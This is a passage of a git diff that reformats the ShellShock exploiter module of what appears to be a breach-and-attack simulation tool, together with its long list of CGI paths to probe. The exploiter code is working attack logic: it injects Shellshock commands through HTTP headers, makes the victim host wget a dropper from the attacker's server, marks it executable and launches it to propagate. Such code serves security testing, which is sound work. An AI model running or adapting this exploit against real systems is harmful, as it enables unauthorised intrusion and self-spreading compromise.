+ "Host %s was already infected under the current configuration, "
+ "done" % self.host
+ )
return True # return already infected
src_path = get_target_monkey(self.host)
@@ -119,12 +130,12 @@ class ShellShockExploiter(HostExploiter):
LOG.debug("Exploiter ShellShock failed, http transfer creation failed.")
return False
- download_command = '/usr/bin/wget %s -O %s;' % (
- http_path, dropper_target_path_linux)
+ download_command = "/usr/bin/wget %s -O %s;" % (http_path, dropper_target_path_linux)
download = exploit + download_command
- self.attack_page(url, header,
- download) # we ignore failures here since it might take more than TIMEOUT time
+ self.attack_page(
+ url, header, download
+ ) # we ignore failures here since it might take more than TIMEOUT time
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
@@ -132,30 +143,44 @@ class ShellShockExploiter(HostExploiter):
self._remove_lock_file(exploit, url, header)
if (http_thread.downloads != 1) or (
- 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
+ "ELF"
+ not in self.check_remote_file_exists(
+ url, header, exploit, dropper_target_path_linux
+ )
+ ):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
continue
# turn the monkey into an executable
- chmod = '/bin/chmod +x %s' % dropper_target_path_linux
+ chmod = "/bin/chmod +x %s" % dropper_target_path_linux
run_path = exploit + chmod
self.attack_page(url, header, run_path)
T1222Telem(ScanStatus.USED, chmod, self.host).send()
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
- cmdline += build_monkey_commandline(self.host,
- get_monkey_depth() - 1,
- HTTPTools.get_port_from_url(url),
- dropper_target_path_linux)
- cmdline += ' & '
+ cmdline += build_monkey_commandline(
+ self.host,
+ get_monkey_depth() - 1,
+ HTTPTools.get_port_from_url(url),
+ dropper_target_path_linux,
+ )
+ cmdline += " & "
run_path = exploit + cmdline
self.attack_page(url, header, run_path)
- LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
- self._config.dropper_target_path_linux, self.host, cmdline)
+ LOG.info(
+ "Executed monkey '%s' on remote victim %r (cmdline=%r)",
+ self._config.dropper_target_path_linux,
+ self.host,
+ cmdline,
+ )
- if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
+ if not (
+ self.check_remote_file_exists(
+ url, header, exploit, self._config.monkey_log_path_linux
+ )
+ ):
LOG.info("Log file does not exist, monkey might not have run")
continue
self.add_executed_cmd(cmdline)
@@ -169,7 +194,7 @@ class ShellShockExploiter(HostExploiter):
Checks if a remote file exists and returns the content if so
file_path should be fully qualified
"""
- cmdline = '/usr/bin/head -c 4 %s' % file_path
+ cmdline = "/usr/bin/head -c 4 %s" % file_path
run_path = exploit + cmdline
resp = cls.attack_page(url, header, run_path)
if resp:
@@ -187,24 +212,24 @@ class ShellShockExploiter(HostExploiter):
LOG.debug("Trying exploit for %s" % url)
for header, exploit in list(attacks.items()):
- attack = exploit + ' echo ' + self.success_flag + "; " + TEST_COMMAND
+ attack = exploit + " echo " + self.success_flag + "; " + TEST_COMMAND
result = self.attack_page(url, header, attack)
if self.success_flag in result:
LOG.info("URL %s looks vulnerable" % url)
return True, url, header, exploit
else:
LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
- return False,
+ return (False,)
def _create_lock_file(self, exploit, url, header):
if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE):
return False
- cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE
+ cmd = exploit + "echo AAAA > %s" % LOCK_HELPER_FILE
self.attack_page(url, header, cmd)
return True
def _remove_lock_file(self, exploit, url, header):
- cmd = exploit + 'rm %s' % LOCK_HELPER_FILE
+ cmd = exploit + "rm %s" % LOCK_HELPER_FILE
self.attack_page(url, header, cmd)
@staticmethod
@@ -213,7 +238,9 @@ class ShellShockExploiter(HostExploiter):
try:
LOG.debug("Header is: %s" % header)
LOG.debug("Attack is: %s" % attack)
- r = requests.get(url, headers={header: attack}, verify=False, timeout=TIMEOUT) # noqa: DUO123
+ r = requests.get( # noqa: DUO123
+ url, headers={header: attack}, verify=False, timeout=TIMEOUT
+ )
result = r.content.decode()
return result
except requests.exceptions.RequestException as exc:
@@ -226,9 +253,9 @@ class ShellShockExploiter(HostExploiter):
Checks if which urls exist
:return: Sequence of URLs to try and attack
"""
- attack_path = 'http://'
+ attack_path = "http://"
if is_https:
- attack_path = 'https://'
+ attack_path = "https://"
attack_path = attack_path + str(host) + ":" + str(port)
reqs = []
timeout = False
@@ -240,7 +267,10 @@ class ShellShockExploiter(HostExploiter):
timeout = True
break
if timeout:
- LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.")
+ LOG.debug(
+ "Some connections timed out while sending request to potentially vulnerable "
+ "urls."
+ )
valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
urls = [resp.url for resp in valid_resps]
diff --git a/monkey/infection_monkey/exploit/shellshock_resources.py b/monkey/infection_monkey/exploit/shellshock_resources.py
index 46851dde1..3a128b23e 100644
--- a/monkey/infection_monkey/exploit/shellshock_resources.py
+++ b/monkey/infection_monkey/exploit/shellshock_resources.py
@@ -2,407 +2,407 @@
# copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list
CGI_FILES = (
- r'/',
- r'/admin.cgi',
- r'/administrator.cgi',
- r'/agora.cgi',
- r'/aktivate/cgi-bin/catgy.cgi',
- r'/analyse.cgi',
- r'/apps/web/vs_diag.cgi',
- r'/axis-cgi/buffer/command.cgi',
- r'/b2-include/b2edit.showposts.php',
- r'/bandwidth/index.cgi',
- r'/bigconf.cgi',
- r'/cartcart.cgi',
- r'/cart.cgi',
- r'/ccbill/whereami.cgi',
- r'/cgi-bin/14all-1.1.cgi',
- r'/cgi-bin/14all.cgi',
- r'/cgi-bin/a1disp3.cgi',
- r'/cgi-bin/a1stats/a1disp3.cgi',
- r'/cgi-bin/a1stats/a1disp4.cgi',
- r'/cgi-bin/addbanner.cgi',
- r'/cgi-bin/add_ftp.cgi',
- r'/cgi-bin/adduser.cgi',
- r'/cgi-bin/admin/admin.cgi',
- r'/cgi-bin/admin.cgi',
- r'/cgi-bin/admin/getparam.cgi',
- r'/cgi-bin/adminhot.cgi',
- r'/cgi-bin/admin.pl',
- r'/cgi-bin/admin/setup.cgi',
- r'/cgi-bin/adminwww.cgi',
- r'/cgi-bin/af.cgi',
- r'/cgi-bin/aglimpse.cgi',
- r'/cgi-bin/alienform.cgi',
- r'/cgi-bin/AnyBoard.cgi',
- r'/cgi-bin/architext_query.cgi',
- r'/cgi-bin/astrocam.cgi',
- r'/cgi-bin/AT-admin.cgi',
- r'/cgi-bin/AT-generate.cgi',
- r'/cgi-bin/auction/auction.cgi',
- r'/cgi-bin/auktion.cgi',
- r'/cgi-bin/ax-admin.cgi',
- r'/cgi-bin/ax.cgi',
- r'/cgi-bin/axs.cgi',
- r'/cgi-bin/badmin.cgi',
- r'/cgi-bin/banner.cgi',
- r'/cgi-bin/bannereditor.cgi',
- r'/cgi-bin/bb-ack.sh',
- r'/cgi-bin/bb-histlog.sh',
- r'/cgi-bin/bb-hist.sh',
- r'/cgi-bin/bb-hostsvc.sh',
- r'/cgi-bin/bb-replog.sh',
- r'/cgi-bin/bb-rep.sh',
- r'/cgi-bin/bbs_forum.cgi',
- r'/cgi-bin/bigconf.cgi',
- r'/cgi-bin/bizdb1-search.cgi',
- r'/cgi-bin/blog/mt-check.cgi',
- r'/cgi-bin/blog/mt-load.cgi',
- r'/cgi-bin/bnbform.cgi',
- r'/cgi-bin/book.cgi',
- r'/cgi-bin/boozt/admin/index.cgi',
- r'/cgi-bin/bsguest.cgi',
- r'/cgi-bin/bslist.cgi',
- r'/cgi-bin/build.cgi',
- r'/cgi-bin/bulk/bulk.cgi',
- r'/cgi-bin/cached_feed.cgi',
- r'/cgi-bin/cachemgr.cgi',
- r'/cgi-bin/calendar/index.cgi',
- r'/cgi-bin/cartmanager.cgi',
- r'/cgi-bin/cbmc/forums.cgi',
- r'/cgi-bin/ccvsblame.cgi',
- r'/cgi-bin/c_download.cgi',
- r'/cgi-bin/cgforum.cgi',
- r'/cgi-bin/.cgi',
- r'/cgi-bin/cgi_process',
- r'/cgi-bin/classified.cgi',
- r'/cgi-bin/classifieds.cgi',
- r'/cgi-bin/classifieds/classifieds.cgi',
- r'/cgi-bin/classifieds/index.cgi',
- r'/cgi-bin/.cobalt/alert/service.cgi',
- r'/cgi-bin/.cobalt/message/message.cgi',
- r'/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi',
- r'/cgi-bin/commandit.cgi',
- r'/cgi-bin/commerce.cgi',
- r'/cgi-bin/common/listrec.pl',
- r'/cgi-bin/compatible.cgi',
- r'/cgi-bin/Count.cgi',
- r'/cgi-bin/csChatRBox.cgi',
- r'/cgi-bin/csGuestBook.cgi',
- r'/cgi-bin/csLiveSupport.cgi',
- r'/cgi-bin/CSMailto.cgi',
- r'/cgi-bin/CSMailto/CSMailto.cgi',
- r'/cgi-bin/csNews.cgi',
- r'/cgi-bin/csNewsPro.cgi',
- r'/cgi-bin/csPassword.cgi',
- r'/cgi-bin/csPassword/csPassword.cgi',
- r'/cgi-bin/csSearch.cgi',
- r'/cgi-bin/csv_db.cgi',
- r'/cgi-bin/cvsblame.cgi',
- r'/cgi-bin/cvslog.cgi',
- r'/cgi-bin/cvsquery.cgi',
- r'/cgi-bin/cvsqueryform.cgi',
- r'/cgi-bin/day5datacopier.cgi',
- r'/cgi-bin/day5datanotifier.cgi',
- r'/cgi-bin/db_manager.cgi',
- r'/cgi-bin/dbman/db.cgi',
- r'/cgi-bin/dcforum.cgi',
- r'/cgi-bin/dcshop.cgi',
- r'/cgi-bin/dfire.cgi',
- r'/cgi-bin/diagnose.cgi',
- r'/cgi-bin/dig.cgi',
- r'/cgi-bin/directorypro.cgi',
- r'/cgi-bin/download.cgi',
- r'/cgi-bin/e87_Ba79yo87.cgi',
- r'/cgi-bin/emu/html/emumail.cgi',
- r'/cgi-bin/emumail.cgi',
- r'/cgi-bin/emumail/emumail.cgi',
- r'/cgi-bin/enter.cgi',
- r'/cgi-bin/environ.cgi',
- r'/cgi-bin/ezadmin.cgi',
- r'/cgi-bin/ezboard.cgi',
- r'/cgi-bin/ezman.cgi',
- r'/cgi-bin/ezshopper2/loadpage.cgi',
- r'/cgi-bin/ezshopper3/loadpage.cgi',
- r'/cgi-bin/ezshopper/loadpage.cgi',
- r'/cgi-bin/ezshopper/search.cgi',
- r'/cgi-bin/faqmanager.cgi',
- r'/cgi-bin/FileSeek2.cgi',
- r'/cgi-bin/FileSeek.cgi',
- r'/cgi-bin/finger.cgi',
- r'/cgi-bin/flexform.cgi',
- r'/cgi-bin/fom.cgi',
- r'/cgi-bin/fom/fom.cgi',
- r'/cgi-bin/FormHandler.cgi',
- r'/cgi-bin/FormMail.cgi',
- r'/cgi-bin/gbadmin.cgi',
- r'/cgi-bin/gbook/gbook.cgi',
- r'/cgi-bin/generate.cgi',
- r'/cgi-bin/getdoc.cgi',
- r'/cgi-bin/gH.cgi',
- r'/cgi-bin/gm-authors.cgi',
- r'/cgi-bin/gm.cgi',
- r'/cgi-bin/gm-cplog.cgi',
- r'/cgi-bin/guestbook.cgi',
- r'/cgi-bin/handler',
- r'/cgi-bin/handler.cgi',
- r'/cgi-bin/handler/netsonar',
- r'/cgi-bin/hitview.cgi',
- r'/cgi-bin/hsx.cgi',
- r'/cgi-bin/html2chtml.cgi',
- r'/cgi-bin/html2wml.cgi',
- r'/cgi-bin/htsearch.cgi',
- r'/cgi-bin/hw.sh', # testing
- r'/cgi-bin/icat',
- r'/cgi-bin/if/admin/nph-build.cgi',
- r'/cgi-bin/ikonboard/help.cgi',
- r'/cgi-bin/ImageFolio/admin/admin.cgi',
- r'/cgi-bin/imageFolio.cgi',
- r'/cgi-bin/index.cgi',
- r'/cgi-bin/infosrch.cgi',
- r'/cgi-bin/jammail.pl',
- r'/cgi-bin/journal.cgi',
- r'/cgi-bin/lastlines.cgi',
- r'/cgi-bin/loadpage.cgi',
- r'/cgi-bin/login.cgi',
- r'/cgi-bin/logit.cgi',
- r'/cgi-bin/log-reader.cgi',
- r'/cgi-bin/lookwho.cgi',
- r'/cgi-bin/lwgate.cgi',
- r'/cgi-bin/MachineInfo',
- r'/cgi-bin/MachineInfo',
- r'/cgi-bin/magiccard.cgi',
- r'/cgi-bin/mail/emumail.cgi',
- r'/cgi-bin/maillist.cgi',
- r'/cgi-bin/mailnews.cgi',
- r'/cgi-bin/mail/nph-mr.cgi',
- r'/cgi-bin/main.cgi',
- r'/cgi-bin/main_menu.pl',
- r'/cgi-bin/man.sh',
- r'/cgi-bin/mini_logger.cgi',
- r'/cgi-bin/mmstdod.cgi',
- r'/cgi-bin/moin.cgi',
- r'/cgi-bin/mojo/mojo.cgi',
- r'/cgi-bin/mrtg.cgi',
- r'/cgi-bin/mt.cgi',
- r'/cgi-bin/mt/mt.cgi',
- r'/cgi-bin/mt/mt-check.cgi',
- r'/cgi-bin/mt/mt-load.cgi',
- r'/cgi-bin/mt-static/mt-check.cgi',
- r'/cgi-bin/mt-static/mt-load.cgi',
- r'/cgi-bin/musicqueue.cgi',
- r'/cgi-bin/myguestbook.cgi',
- r'/cgi-bin/.namazu.cgi',
- r'/cgi-bin/nbmember.cgi',
- r'/cgi-bin/netauth.cgi',
- r'/cgi-bin/netpad.cgi',
- r'/cgi-bin/newsdesk.cgi',
- r'/cgi-bin/nlog-smb.cgi',
- r'/cgi-bin/nph-emumail.cgi',
- r'/cgi-bin/nph-exploitscanget.cgi',
- r'/cgi-bin/nph-publish.cgi',
- r'/cgi-bin/nph-test.cgi',
- r'/cgi-bin/pagelog.cgi',
- r'/cgi-bin/pbcgi.cgi',
- r'/cgi-bin/perlshop.cgi',
- r'/cgi-bin/pfdispaly.cgi',
- r'/cgi-bin/pfdisplay.cgi',
- r'/cgi-bin/phf.cgi',
- r'/cgi-bin/photo/manage.cgi',
- r'/cgi-bin/photo/protected/manage.cgi',
- r'/cgi-bin/php-cgi',
- r'/cgi-bin/php.cgi',
- r'/cgi-bin/php.fcgi',
- r'/cgi-bin/ping.sh',
- r'/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi',
- r'/cgi-bin/pollssi.cgi',
- r'/cgi-bin/postcards.cgi',
- r'/cgi-bin/powerup/r.cgi',
- r'/cgi-bin/printenv',
- r'/cgi-bin/probecontrol.cgi',
- r'/cgi-bin/profile.cgi',
- r'/cgi-bin/publisher/search.cgi',
- r'/cgi-bin/quickstore.cgi',
- r'/cgi-bin/quizme.cgi',
- r'/cgi-bin/ratlog.cgi',
- r'/cgi-bin/r.cgi',
- r'/cgi-bin/register.cgi',
- r'/cgi-bin/replicator/webpage.cgi/',
- r'/cgi-bin/responder.cgi',
- r'/cgi-bin/robadmin.cgi',
- r'/cgi-bin/robpoll.cgi',
- r'/cgi-bin/rtpd.cgi',
- r'/cgi-bin/sbcgi/sitebuilder.cgi',
- r'/cgi-bin/scoadminreg.cgi',
- r'/cgi-bin-sdb/printenv',
- r'/cgi-bin/sdbsearch.cgi',
- r'/cgi-bin/search',
- r'/cgi-bin/search.cgi',
- r'/cgi-bin/search/search.cgi',
- r'/cgi-bin/sendform.cgi',
- r'/cgi-bin/shop.cgi',
- r'/cgi-bin/shopper.cgi',
- r'/cgi-bin/shopplus.cgi',
- r'/cgi-bin/showcheckins.cgi',
- r'/cgi-bin/simplestguest.cgi',
- r'/cgi-bin/simplestmail.cgi',
- r'/cgi-bin/smartsearch.cgi',
- r'/cgi-bin/smartsearch/smartsearch.cgi',
- r'/cgi-bin/snorkerz.bat',
- r'/cgi-bin/snorkerz.bat',
- r'/cgi-bin/snorkerz.cmd',
- r'/cgi-bin/snorkerz.cmd',
- r'/cgi-bin/sojourn.cgi',
- r'/cgi-bin/spin_client.cgi',
- r'/cgi-bin/start.cgi',
- r'/cgi-bin/status',
- r'/cgi-bin/status_cgi',
- r'/cgi-bin/store/agora.cgi',
- r'/cgi-bin/store.cgi',
- r'/cgi-bin/store/index.cgi',
- r'/cgi-bin/survey.cgi',
- r'/cgi-bin/sync.cgi',
- r'/cgi-bin/talkback.cgi',
- r'/cgi-bin/technote/main.cgi',
- r'/cgi-bin/test2.pl',
- r'/cgi-bin/test-cgi',
- r'/cgi-bin/test.cgi',
- r'/cgi-bin/testing_whatever',
- r'/cgi-bin/test/test.cgi',
- r'/cgi-bin/tidfinder.cgi',
- r'/cgi-bin/tigvote.cgi',
- r'/cgi-bin/title.cgi',
- r'/cgi-bin/top.cgi',
- r'/cgi-bin/traffic.cgi',
- r'/cgi-bin/troops.cgi',
- r'/cgi-bin/ttawebtop.cgi/',
- r'/cgi-bin/ultraboard.cgi',
- r'/cgi-bin/upload.cgi',
- r'/cgi-bin/urlcount.cgi',
- r'/cgi-bin/viewcvs.cgi',
- r'/cgi-bin/view_help.cgi',
- r'/cgi-bin/viralator.cgi',
- r'/cgi-bin/virgil.cgi',
- r'/cgi-bin/vote.cgi',
- r'/cgi-bin/vpasswd.cgi',
- r'/cgi-bin/way-board.cgi',
- r'/cgi-bin/way-board/way-board.cgi',
- r'/cgi-bin/webbbs.cgi',
- r'/cgi-bin/webcart/webcart.cgi',
- r'/cgi-bin/webdist.cgi',
- r'/cgi-bin/webif.cgi',
- r'/cgi-bin/webmail/html/emumail.cgi',
- r'/cgi-bin/webmap.cgi',
- r'/cgi-bin/webspirs.cgi',
- r'/cgi-bin/Web_Store/web_store.cgi',
- r'/cgi-bin/whois.cgi',
- r'/cgi-bin/whois_raw.cgi',
- r'/cgi-bin/whois/whois.cgi',
- r'/cgi-bin/wrap',
- r'/cgi-bin/wrap.cgi',
- r'/cgi-bin/wwwboard.cgi.cgi',
- r'/cgi-bin/YaBB/YaBB.cgi',
- r'/cgi-bin/zml.cgi',
- r'/cgi-mod/index.cgi',
- r'/cgis/wwwboard/wwwboard.cgi',
- r'/cgi-sys/addalink.cgi',
- r'/cgi-sys/defaultwebpage.cgi',
- r'/cgi-sys/domainredirect.cgi',
- r'/cgi-sys/entropybanner.cgi',
- r'/cgi-sys/entropysearch.cgi',
- r'/cgi-sys/FormMail-clone.cgi',
- r'/cgi-sys/helpdesk.cgi',
- r'/cgi-sys/mchat.cgi',
- r'/cgi-sys/randhtml.cgi',
- r'/cgi-sys/realhelpdesk.cgi',
- r'/cgi-sys/realsignup.cgi',
- r'/cgi-sys/signup.cgi',
- r'/connector.cgi',
- r'/cp/rac/nsManager.cgi',
- r'/create_release.sh',
- r'/CSNews.cgi',
- r'/csPassword.cgi',
- r'/dcadmin.cgi',
- r'/dcboard.cgi',
- r'/dcforum.cgi',
- r'/dcforum/dcforum.cgi',
- r'/debuff.cgi',
- r'/debug.cgi',
- r'/details.cgi',
- r'/edittag/edittag.cgi',
- r'/emumail.cgi',
- r'/enter_buff.cgi',
- r'/enter_bug.cgi',
- r'/ez2000/ezadmin.cgi',
- r'/ez2000/ezboard.cgi',
- r'/ez2000/ezman.cgi',
- r'/fcgi-bin/echo',
- r'/fcgi-bin/echo',
- r'/fcgi-bin/echo2',
- r'/fcgi-bin/echo2',
- r'/Gozila.cgi',
- r'/hitmatic/analyse.cgi',
- r'/hp_docs/cgi-bin/index.cgi',
- r'/html/cgi-bin/cgicso',
- r'/html/cgi-bin/cgicso',
- r'/index.cgi',
- r'/info.cgi',
- r'/infosrch.cgi',
- r'/login.cgi',
- r'/mailview.cgi',
- r'/main.cgi',
- r'/megabook/admin.cgi',
- r'/ministats/admin.cgi',
- r'/mods/apage/apage.cgi',
- r'/_mt/mt.cgi',
- r'/musicqueue.cgi',
- r'/ncbook.cgi',
- r'/newpro.cgi',
- r'/newsletter.sh',
- r'/oem_webstage/cgi-bin/oemapp_cgi',
- r'/page.cgi',
- r'/parse_xml.cgi',
- r'/photodata/manage.cgi',
- r'/photo/manage.cgi',
- r'/print.cgi',
- r'/process_buff.cgi',
- r'/process_bug.cgi',
- r'/pub/english.cgi',
- r'/quikmail/nph-emumail.cgi',
- r'/quikstore.cgi',
- r'/reviews/newpro.cgi',
- r'/ROADS/cgi-bin/search.pl',
- r'/sample01.cgi',
- r'/sample02.cgi',
- r'/sample03.cgi',
- r'/sample04.cgi',
- r'/sampleposteddata.cgi',
- r'/scancfg.cgi',
- r'/scancfg.cgi',
- r'/servers/link.cgi',
- r'/setpasswd.cgi',
- r'/SetSecurity.shm',
- r'/shop/member_html.cgi',
- r'/shop/normal_html.cgi',
- r'/site_searcher.cgi',
- r'/siteUserMod.cgi',
- r'/submit.cgi',
- r'/technote/print.cgi',
- r'/template.cgi',
- r'/test.cgi',
- r'/ucsm/isSamInstalled.cgi',
- r'/upload.cgi',
- r'/userreg.cgi',
- r'/users/scripts/submit.cgi',
- r'/vood/cgi-bin/vood_view.cgi',
- r'/Web_Store/web_store.cgi',
- r'/webtools/bonsai/ccvsblame.cgi',
- r'/webtools/bonsai/cvsblame.cgi',
- r'/webtools/bonsai/cvslog.cgi',
- r'/webtools/bonsai/cvsquery.cgi',
- r'/webtools/bonsai/cvsqueryform.cgi',
- r'/webtools/bonsai/showcheckins.cgi',
- r'/wwwadmin.cgi',
- r'/wwwboard.cgi',
- r'/wwwboard/wwwboard.cgi'
+ r"/",
+ r"/admin.cgi",
+ r"/administrator.cgi",
+ r"/agora.cgi",
+ r"/aktivate/cgi-bin/catgy.cgi",
+ r"/analyse.cgi",
+ r"/apps/web/vs_diag.cgi",
+ r"/axis-cgi/buffer/command.cgi",
+ r"/b2-include/b2edit.showposts.php",
+ r"/bandwidth/index.cgi",
+ r"/bigconf.cgi",
+ r"/cartcart.cgi",
+ r"/cart.cgi",
+ r"/ccbill/whereami.cgi",
+ r"/cgi-bin/14all-1.1.cgi",
+ r"/cgi-bin/14all.cgi",
+ r"/cgi-bin/a1disp3.cgi",
+ r"/cgi-bin/a1stats/a1disp3.cgi",
+ r"/cgi-bin/a1stats/a1disp4.cgi",
+ r"/cgi-bin/addbanner.cgi",
+ r"/cgi-bin/add_ftp.cgi",
+ r"/cgi-bin/adduser.cgi",
+ r"/cgi-bin/admin/admin.cgi",
+ r"/cgi-bin/admin.cgi",
+ r"/cgi-bin/admin/getparam.cgi",
+ r"/cgi-bin/adminhot.cgi",
+ r"/cgi-bin/admin.pl",
+ r"/cgi-bin/admin/setup.cgi",
+ r"/cgi-bin/adminwww.cgi",
+ r"/cgi-bin/af.cgi",
+ r"/cgi-bin/aglimpse.cgi",
+ r"/cgi-bin/alienform.cgi",
+ r"/cgi-bin/AnyBoard.cgi",
+ r"/cgi-bin/architext_query.cgi",
+ r"/cgi-bin/astrocam.cgi",
+ r"/cgi-bin/AT-admin.cgi",
+ r"/cgi-bin/AT-generate.cgi",
+ r"/cgi-bin/auction/auction.cgi",
+ r"/cgi-bin/auktion.cgi",
+ r"/cgi-bin/ax-admin.cgi",
+ r"/cgi-bin/ax.cgi",
+ r"/cgi-bin/axs.cgi",
+ r"/cgi-bin/badmin.cgi",
+ r"/cgi-bin/banner.cgi",
+ r"/cgi-bin/bannereditor.cgi",
+ r"/cgi-bin/bb-ack.sh",
+ r"/cgi-bin/bb-histlog.sh",
+ r"/cgi-bin/bb-hist.sh",
+ r"/cgi-bin/bb-hostsvc.sh",
+ r"/cgi-bin/bb-replog.sh",
+ r"/cgi-bin/bb-rep.sh",
+ r"/cgi-bin/bbs_forum.cgi",
+ r"/cgi-bin/bigconf.cgi",
+ r"/cgi-bin/bizdb1-search.cgi",
+ r"/cgi-bin/blog/mt-check.cgi",
+ r"/cgi-bin/blog/mt-load.cgi",
+ r"/cgi-bin/bnbform.cgi",
+ r"/cgi-bin/book.cgi",
+ r"/cgi-bin/boozt/admin/index.cgi",
+ r"/cgi-bin/bsguest.cgi",
+ r"/cgi-bin/bslist.cgi",
+ r"/cgi-bin/build.cgi",
+ r"/cgi-bin/bulk/bulk.cgi",
+ r"/cgi-bin/cached_feed.cgi",
+ r"/cgi-bin/cachemgr.cgi",
+ r"/cgi-bin/calendar/index.cgi",
+ r"/cgi-bin/cartmanager.cgi",
+ r"/cgi-bin/cbmc/forums.cgi",
+ r"/cgi-bin/ccvsblame.cgi",
+ r"/cgi-bin/c_download.cgi",
+ r"/cgi-bin/cgforum.cgi",
+ r"/cgi-bin/.cgi",
+ r"/cgi-bin/cgi_process",
+ r"/cgi-bin/classified.cgi",
+ r"/cgi-bin/classifieds.cgi",
+ r"/cgi-bin/classifieds/classifieds.cgi",
+ r"/cgi-bin/classifieds/index.cgi",
+ r"/cgi-bin/.cobalt/alert/service.cgi",
+ r"/cgi-bin/.cobalt/message/message.cgi",
+ r"/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi",
+ r"/cgi-bin/commandit.cgi",
+ r"/cgi-bin/commerce.cgi",
+ r"/cgi-bin/common/listrec.pl",
+ r"/cgi-bin/compatible.cgi",
+ r"/cgi-bin/Count.cgi",
+ r"/cgi-bin/csChatRBox.cgi",
+ r"/cgi-bin/csGuestBook.cgi",
+ r"/cgi-bin/csLiveSupport.cgi",
+ r"/cgi-bin/CSMailto.cgi",
+ r"/cgi-bin/CSMailto/CSMailto.cgi",
+ r"/cgi-bin/csNews.cgi",
+ r"/cgi-bin/csNewsPro.cgi",
+ r"/cgi-bin/csPassword.cgi",
+ r"/cgi-bin/csPassword/csPassword.cgi",
+ r"/cgi-bin/csSearch.cgi",
+ r"/cgi-bin/csv_db.cgi",
+ r"/cgi-bin/cvsblame.cgi",
+ r"/cgi-bin/cvslog.cgi",
+ r"/cgi-bin/cvsquery.cgi",
+ r"/cgi-bin/cvsqueryform.cgi",
+ r"/cgi-bin/day5datacopier.cgi",
+ r"/cgi-bin/day5datanotifier.cgi",
+ r"/cgi-bin/db_manager.cgi",
+ r"/cgi-bin/dbman/db.cgi",
+ r"/cgi-bin/dcforum.cgi",
+ r"/cgi-bin/dcshop.cgi",
+ r"/cgi-bin/dfire.cgi",
+ r"/cgi-bin/diagnose.cgi",
+ r"/cgi-bin/dig.cgi",
+ r"/cgi-bin/directorypro.cgi",
+ r"/cgi-bin/download.cgi",
+ r"/cgi-bin/e87_Ba79yo87.cgi",
+ r"/cgi-bin/emu/html/emumail.cgi",
+ r"/cgi-bin/emumail.cgi",
+ r"/cgi-bin/emumail/emumail.cgi",
+ r"/cgi-bin/enter.cgi",
+ r"/cgi-bin/environ.cgi",
+ r"/cgi-bin/ezadmin.cgi",
+ r"/cgi-bin/ezboard.cgi",
+ r"/cgi-bin/ezman.cgi",
+ r"/cgi-bin/ezshopper2/loadpage.cgi",
+ r"/cgi-bin/ezshopper3/loadpage.cgi",
+ r"/cgi-bin/ezshopper/loadpage.cgi",
+ r"/cgi-bin/ezshopper/search.cgi",
+ r"/cgi-bin/faqmanager.cgi",
+ r"/cgi-bin/FileSeek2.cgi",
+ r"/cgi-bin/FileSeek.cgi",
+ r"/cgi-bin/finger.cgi",
+ r"/cgi-bin/flexform.cgi",
+ r"/cgi-bin/fom.cgi",
+ r"/cgi-bin/fom/fom.cgi",
+ r"/cgi-bin/FormHandler.cgi",
+ r"/cgi-bin/FormMail.cgi",
+ r"/cgi-bin/gbadmin.cgi",
+ r"/cgi-bin/gbook/gbook.cgi",
+ r"/cgi-bin/generate.cgi",
+ r"/cgi-bin/getdoc.cgi",
+ r"/cgi-bin/gH.cgi",
+ r"/cgi-bin/gm-authors.cgi",
+ r"/cgi-bin/gm.cgi",
+ r"/cgi-bin/gm-cplog.cgi",
+ r"/cgi-bin/guestbook.cgi",
+ r"/cgi-bin/handler",
+ r"/cgi-bin/handler.cgi",
+ r"/cgi-bin/handler/netsonar",
+ r"/cgi-bin/hitview.cgi",
+ r"/cgi-bin/hsx.cgi",
+ r"/cgi-bin/html2chtml.cgi",
+ r"/cgi-bin/html2wml.cgi",
+ r"/cgi-bin/htsearch.cgi",
+ r"/cgi-bin/hw.sh", # testing
+ r"/cgi-bin/icat",
+ r"/cgi-bin/if/admin/nph-build.cgi",
+ r"/cgi-bin/ikonboard/help.cgi",
+ r"/cgi-bin/ImageFolio/admin/admin.cgi",
+ r"/cgi-bin/imageFolio.cgi",
+ r"/cgi-bin/index.cgi",
+ r"/cgi-bin/infosrch.cgi",
+ r"/cgi-bin/jammail.pl",
+ r"/cgi-bin/journal.cgi",
+ r"/cgi-bin/lastlines.cgi",
+ r"/cgi-bin/loadpage.cgi",
+ r"/cgi-bin/login.cgi",
+ r"/cgi-bin/logit.cgi",
+ r"/cgi-bin/log-reader.cgi",
+ r"/cgi-bin/lookwho.cgi",
+ r"/cgi-bin/lwgate.cgi",
+ r"/cgi-bin/MachineInfo",
+ r"/cgi-bin/MachineInfo",
+ r"/cgi-bin/magiccard.cgi",
+ r"/cgi-bin/mail/emumail.cgi",
+ r"/cgi-bin/maillist.cgi",
+ r"/cgi-bin/mailnews.cgi",
+ r"/cgi-bin/mail/nph-mr.cgi",
+ r"/cgi-bin/main.cgi",
+ r"/cgi-bin/main_menu.pl",
+ r"/cgi-bin/man.sh",
+ r"/cgi-bin/mini_logger.cgi",
+ r"/cgi-bin/mmstdod.cgi",
+ r"/cgi-bin/moin.cgi",
+ r"/cgi-bin/mojo/mojo.cgi",
+ r"/cgi-bin/mrtg.cgi",
+ r"/cgi-bin/mt.cgi",
+ r"/cgi-bin/mt/mt.cgi",
+ r"/cgi-bin/mt/mt-check.cgi",
+ r"/cgi-bin/mt/mt-load.cgi",
+ r"/cgi-bin/mt-static/mt-check.cgi",
+ r"/cgi-bin/mt-static/mt-load.cgi",
+ r"/cgi-bin/musicqueue.cgi",
+ r"/cgi-bin/myguestbook.cgi",
+ r"/cgi-bin/.namazu.cgi",
+ r"/cgi-bin/nbmember.cgi",
+ r"/cgi-bin/netauth.cgi",
+ r"/cgi-bin/netpad.cgi",
+ r"/cgi-bin/newsdesk.cgi",
